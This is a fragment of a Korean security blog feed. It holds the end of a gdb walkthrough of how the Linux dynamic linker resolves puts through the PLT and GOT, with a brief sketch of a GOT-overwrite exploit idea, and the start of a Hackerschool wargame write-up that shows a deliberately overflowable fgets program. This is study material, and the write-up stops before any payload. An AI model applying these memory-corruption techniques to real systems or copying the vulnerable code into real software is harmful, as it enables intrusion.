&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AszG8/btsGeRuzyLG/A2usuQs4veiDppu4k0x4V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AszG8/btsGeRuzyLG/A2usuQs4veiDppu4k0x4V1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AszG8/btsGeRuzyLG/A2usuQs4veiDppu4k0x4V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAszG8%2FbtsGeRuzyLG%2FA2usuQs4veiDppu4k0x4V1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;170&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bobwY1/btsGesBWniL/LXqKhuCk8ZHV9vHieArmKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bobwY1/btsGesBWniL/LXqKhuCk8ZHV9vHieArmKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bobwY1/btsGesBWniL/LXqKhuCk8ZHV9vHieArmKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbobwY1%2FbtsGesBWniL%2FLXqKhuCk8ZHV9vHieArmKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;356&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_symbol_x 함수를 끝내고 _dl_fixup 함수로 복귀한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;_dl_lookup_symbol_x 함수의 반환값 확인&lt;/b&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CRv2J/btsGdZAhx4V/QdcTq6CRUSxBypkcsKiwzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CRv2J/btsGdZAhx4V/QdcTq6CRUSxBypkcsKiwzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CRv2J/btsGdZAhx4V/QdcTq6CRUSxBypkcsKiwzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCRv2J%2FbtsGdZAhx4V%2FQdcTq6CRUSxBypkcsKiwzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;324&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_symbol_x 함수의 반환값을 edi 레지스터로 옮기는데 반환값은 lib의 주소(0xb7e05000)가 들어있는 주소 0xb7fd51b0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;libc의 주소를 출력해보니 ASLR 기능으로 인해 실행 할 때마다 변한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;esp+0x1c 주소에 구해둔 SYMTAB의 주소를 ebx 레지스터에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5uEA7/btsGd7LGAMf/HE4Mk0gHyXBJeJxNodMi9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5uEA7/btsGd7LGAMf/HE4Mk0gHyXBJeJxNodMi9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5uEA7/btsGd7LGAMf/HE4Mk0gHyXBJeJxNodMi9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5uEA7%2FbtsGd7LGAMf%2FHE4Mk0gHyXBJeJxNodMi9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;544&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;155&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VPUFt/btsGe7jLRFn/bU8KqMIEJJ5TtTuo73OTKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VPUFt/btsGe7jLRFn/bU8KqMIEJJ5TtTuo73OTKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VPUFt/btsGe7jLRFn/bU8KqMIEJJ5TtTuo73OTKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVPUFt%2FbtsGe7jLRFn%2FbU8KqMIEJJ5TtTuo73OTKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;155&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;155&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oXcTU/btsGeMtn1pU/O1XcwVJTnKfuNAo8xQRlPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oXcTU/btsGeMtn1pU/O1XcwVJTnKfuNAo8xQRlPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oXcTU/btsGeMtn1pU/O1XcwVJTnKfuNAo8xQRlPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoXcTU%2FbtsGeMtn1pU%2FO1XcwVJTnKfuNAo8xQRlPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;170&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 나서 esp+0x1c(0xbfffefb4)에 있는 값 0xb7e0aa48을 ebx 레지스터에 옮긴 후 0인지 아닌지 검사 후 조건 분기를 하는데, 0xb7e0aa48 주소는 SYMTAB의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;물론 같은 값을 and 연산하므로 결과는 1이 되고, 이로인해 ZF 플래그는 설정되지 않으며 je 명령은 ZF 플래그가 1이여야 점프하므로 je 명령은 수행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 edi 레지스터 역시 값이 잘 구해졌는지 검사하여 점프를 하는데, ZF 플래그가 설정되지 않으므로 je 명령은 수행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;libc 주소를 담고 있는 주소에서 libc 주소를 가져와 eax 레지스터에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kzQdI/btsGeclPYaR/0KXK0ga0uEGAyocFIxhjGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kzQdI/btsGeclPYaR/0KXK0ga0uEGAyocFIxhjGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kzQdI/btsGeclPYaR/0KXK0ga0uEGAyocFIxhjGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkzQdI%2FbtsGeclPYaR%2F0KXK0ga0uEGAyocFIxhjGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;169&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 edi 레지스터에는 libc의 주소가 담긴 주소가 있었는데, 해당 주소에서 libc의 주소를 가져와 eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qyk9V/btsGcLJoIeB/CWZEqeWkW4Afj424k1Pc11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qyk9V/btsGcLJoIeB/CWZEqeWkW4Afj424k1Pc11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qyk9V/btsGcLJoIeB/CWZEqeWkW4Afj424k1Pc11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqyk9V%2FbtsGcLJoIeB%2FCWZEqeWkW4Afj424k1Pc11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;169&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebx+0xc의 주소에 있는 값 0x22를 edx 레지스터에 넣고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SYMTAB에 있는 라이브러리에서의 puts 함수 offset 값을 가져와 라이브러리 주소와 더하여 puts 함수의 실제 주소를 구해 eax 레지스터에 넣기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JXkb2/btsGfynTquq/KUHkkxt69HgrBEukUzbYoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JXkb2/btsGfynTquq/KUHkkxt69HgrBEukUzbYoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JXkb2/btsGfynTquq/KUHkkxt69HgrBEukUzbYoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJXkb2%2FbtsGfynTquq%2FKUHkkxt69HgrBEukUzbYoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;168&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MKb9y/btsGdQKeWBZ/KWe0v83SleQ9b7tR1IG0Lk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MKb9y/btsGdQKeWBZ/KWe0v83SleQ9b7tR1IG0Lk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MKb9y/btsGdQKeWBZ/KWe0v83SleQ9b7tR1IG0Lk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMKb9y%2FbtsGdQKeWBZ%2FKWe0v83SleQ9b7tR1IG0Lk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;188&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebx 레지스터에 있는 값은 SYMTAB의 주소이고, ebx+0x4 주소에는 0x5fcb0이라는 값이 있는데 이 값은 라이브러리에서 puts 함수의 offset 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;라이브러리 주소(0xb7e05000)에 offset 값(0x5fcb0)을 더하면 0xb7e64cb0라는 puts 함수의 실제 주소가 구해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 si 명령으로 진행하다가 0xb7fe98e0 주소의 명령에 의해 puts 함수의 실제 주소 0xb7e64cb0이 GOT 주소(0x804a00c)에 덮어씌워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;두 번째 puts 함수 호출 부분&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJK7E8/btsGdqE0skI/E1YBqv1sJ4XA39NU9SfOhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJK7E8/btsGdqE0skI/E1YBqv1sJ4XA39NU9SfOhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJK7E8/btsGdqE0skI/E1YBqv1sJ4XA39NU9SfOhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJK7E8%2FbtsGdqE0skI%2FE1YBqv1sJ4XA39NU9SfOhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;239&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_fixup 함수가 끝나고 _dl_runtime_resolve 함수로 복귀한뒤 _dl_runtime_resolve 함수도 종료되고 main 함수로 돌아와서 두 번째 puts 함수를 호출하는 부분을 보면 GOT 주소에 puts 함수의 실제 주소가 적혀있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;dynamic 링커는 호출할 함수 이름이 있는 메모리의 주소를 구하고 이를 이용해 공유 라이브러리에 있는 실제 함수의 주소를 구해온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;과정 요약(ubuntu 환경 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1711894305908&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt
got
plt(plt+6 : reloc_offset(0x0), plt+11 : jmp 0x80482d0[dynamic linking])
dynamic 링킹 시작(push link_map(0xb7fff918), jmp _dl_runtime_resolve(0xb7ff0000))

_dl_runtime_resolve
	edx = esp+0xc(0xbffff044) = reloc_offset(0x0)
	eax = esp+0x10(0xbffff048) = link_map(0xb7fff918)
	
    _dl_fixup
        strtab 주소 : 0x804821c
        jmprel 주소 : 0x8048298
        elf32_rel의 내용을 이용해 .dynsym에서의 elf32_sym의 내용 찾기
        elf32_sym의 내용을 이용해 STRTAB에서의 puts 문자열의 주소 찾기
            STRTAB에서의 puts 문자열 offset 값(0x1a) 찾기
            GOT 주소 알아오기
            실제로 STRTAB 주소와 puts offset을 더해 주소를 찾음
	
	eax = STRTAB에서 puts 문자열의 실제 주소(0x8048236)
	ebx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)
	ecx = .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소가 들어있는 스택 주소(0xbfffefb4)
	edx, edi = link_map의 주소(0xb7fff918)
	ebp = GOT 주소(0x804a00c)
	esi = 0x1
	esp+0x2c(0xbfffefa4) = 0x804821c(STRTAB의 주소)
	esp+0x3c(0xbfffefb4) = 0x80481dc(.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소로 puts 문자열의 offset 값이 있다.)
        _dl_lookup_symbol_x 진입
        
    _dl_lookup_symbol_x
	eax = lib의 주소(0xb7e05000)가 담긴 주소(0xb7fd51b0)
        esp+0x1c = SYMTAB의 주소(0xb7e0aa48)
        
    _dl_fixup
        라이브러리의 주소와 SYMTAB에서 알아낸 puts 함수의 offset 값을 더해 실제 주소를 알아와 eax 레지스터에 저장
        GOT에 puts 함수의 실제 주소 넣기

	ebx = STMTAB의 주소(0xb7e0aa48)
	ebx+0x4 = SYMTAB에 있는 라이브러리에서의 puts 함수 offset 값(0x5fcb0)
	eax = puts 함수의 실제 주소
	
        
_dl_runtime_resolve
	puts함수의 실제 주소로 넘어가 puts 함수 실행


GOT 주소 : 0x804a00c
reloc_offset : 0x0
link_map : 0xb7fff918
_dl_runtime_resolve : 0xb7ff0000
strtab 주소 : 0x804821c
jmprel 주소 : 0x8048298
JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소 : 0x8048298
.dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 index : 0x1
재배치 타입 : 0x7
.dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소 : 0x80481dc
STRTAB에서의 puts 함수 offset : 0x1a
lib의 주소 : 0xb7e05000
라이브러리에서의 puts 함수 offset : 0x5fcb0
실제 puts 함수 주소 : 0xb7e64cb0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;GOT Overwrite&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_lookup_symbol_x 함수의 인자로 넘어가는 함수 이름을 조작한다면 공유 라이브러리에 있는 다른 함수들도 호출할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;함수 이름은 STRTAB 테이블에 있는데, STRTAB 테이블은 쓰기 권한이 없기 때문에 문자열을 직접 조작할 수 없지만, STRTAB을 가리키는 포인터를 쓰기 권한이 있는 다른 메모리 주소를 가리키도록 하고 그 곳에 원하는 함수 이름이 있다면 exploit이 가능하다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리&quot;&gt;https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리&lt;/a&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://sdosj.tistory.com/entry/무분기-로직&quot;&gt;https://sdosj.tistory.com/entry/무분기-로직&lt;/a&gt;&lt;/p&gt;</description>
      <category>system hacking/System Hacking Note</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/498</guid>
      <comments>https://sean.tistory.com/498#entry498comment</comments>
      <pubDate>Mon, 1 Apr 2024 00:49:06 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL19 (nightmare -&amp;gt; xavis) : fgets + destroyers(glibc에서 .c 파일을 참고하여 stdin의 구조를 파악하고 stdin 버퍼 이용, 그리고 payload 내 순서의 의문점)</title>
      <link>https://sean.tistory.com/497</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : nightmare&lt;br /&gt;password : beg for me&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K8Mhl/btsFgQXRKUz/tnBV1emXneoNMWZLmIWsoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K8Mhl/btsFgQXRKUz/tnBV1emXneoNMWZLmIWsoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K8Mhl/btsFgQXRKUz/tnBV1emXneoNMWZLmIWsoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK8Mhl%2FbtsFgQXRKUz%2FtnBV1emXneoNMWZLmIWsoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;90&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708757182310&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;dumpcode.h&amp;gt;

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);
	printf(&quot;%s\n&quot;, buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf(&quot;stack retbayed you!\n&quot;);
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf(&quot;binary image retbayed you, too!!\n&quot;);
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&amp;amp;ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, &quot;\x90\x90&quot;, 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf(&quot;You cannot use library function!\n&quot;);
				exit(0);
			}
		}
		ret_addr++;
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 커맨드라인 인자가 아닌 fgets() 함수로 입력을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. RET 부분에 덮어쓰는 값이 스택의 주소이거나 code(text) 영역의 코드 가젯의 주소이면 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. RET 부분에 덮어쓸 4byte 값을 ret_addr에 복사하고, ret_addr의 값이 \x9090이 아니라면 while문을 돌게 되는데, \x9090 대신 0xc9, 0xc3이라면 에러 메시지를 띄우며 종료하고, \x9090도 아니고 0xc90xc3도 아니라면 \x9090을 만날 때까지 ret_addr의 주소부터 하여 비교한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 \x9090을 만나면 while() 문을 탈출하고 스택과 LD 영역을 0으로 초기화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
